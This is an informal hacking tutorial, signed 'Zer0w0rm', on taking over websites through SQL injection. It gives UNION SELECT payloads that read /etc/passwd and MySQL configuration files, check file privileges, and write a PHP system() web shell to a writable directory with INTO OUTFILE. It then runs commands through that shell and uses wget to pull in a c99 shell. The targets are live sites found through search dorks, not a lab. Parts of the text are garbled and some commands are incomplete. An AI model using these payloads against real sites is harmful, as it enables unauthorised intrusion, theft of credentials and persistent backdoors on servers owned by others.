First of all find a website which is vulnerable to sql injection. You can find websites by dorks or manually like i have found this.

You need 2 main things:

Root Path of the website 
A Writable Directory 
Most of the time, you will see root path in SQL error of that site.Like the following one.

Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /home/zero/public_html/admin/requires/functions.php on line 1327

Well If the vulnerable website doesn't show the root path then don't worry i will show you how to know the root path. And Also Writable Directory.'

I am not starting with abc of SQLI I hope u know the basics. 
Now we have to found columns of the website then vulnerable columns like my site have 5 columns And 3 is the vulnerable column UniOn SeleCt 1,2,3,4,5-- UniOn SeleCt 1,2,version(),4,5--

Let's Try To Load Files Of The Website UniOn SeleCt 1,2,load_file('/etc/passwd'),4,5-- UniOn SeleCt 1,2,load_file('/etc/my.cnf'),4,5-- UniOn SeleCt 1,2,load_file('/etc/group'),4,5-- UniOn SeleCt 1,2,load_file('/etc/services'),4,5-- UniOn SeleCt 1,2,load_file('/etc/hosts'),4,5--

We Won't Need To Read Any Files Mentioned above just to increase your knowledge. Now we have to check the file privileges for the current user for this first you have to find current username.
Like This UniOn SeleCt 1,2,current_user,4,5--

Our Current Username is etc mine is zer0w0m
Now Check File Privilages for User zer0w0rm UniOn SeleCt 1,2,file_priv,4,5 FROM mysql.user WHERE user='zer0w0rm'--

If it shows Y (yes) on the vulnerable column of the website that means we have the file privileges for the current user zero0w0rm
And if it doesn't show Y then Don't waste your time there :D

Ok Now we need to know the root path for this webserver. So, for this information we need to know the webserver type.For this you can use firefox adon server spy.

Server Spy Addones :
You can use havij and some other tool too to detect webserver type. 

To know the webserver by file /etc/passwd use this query UniOn SeleCt 1,2,3,load_file('/etc/passwd'),5--

now we have our webserver etc (/home/zero0w0rm)
now read one more file. UniOn SeleCt 1,2,load_file('etc/zero0w0rm.conf')4,5--

Where zero0w0rm is your webserver software name like server name.conf .

now we have the root path

/home/ etc.

Now we have to find a writeable directory for this you can use google dorks as well and your knowledge too :D


so its

now we will upload our evil code UniOn SeleCt 1,2,"<?system($_REQUEST['cmd']);?>",4,5 into outfile '/home/site/public_html/zero0w0rm/writeable directory/zero0w0rm.php'--+

ok now we have to execute our commands directory/zer0w0rm.php?cmd=pwd directory/zer0w0rm.php?cmd=uname -a

Now we will use wget command to upload our evil script directory/zero0w0rm.php?cmd=wget

Now we will rename our c99.txt to php in order to execute it :D directory/zero0w0rm.php?cmd=mv c99.txt c99.php

now open it directory/c99.php VOILA OUR SHELL GOT LIVE :D

Note: In our experience, Windows servers are easy to shell with SQL queries.

Thank you (zer0w0rm)

Published By : Zer0w0rm ~ Zer0w0rm



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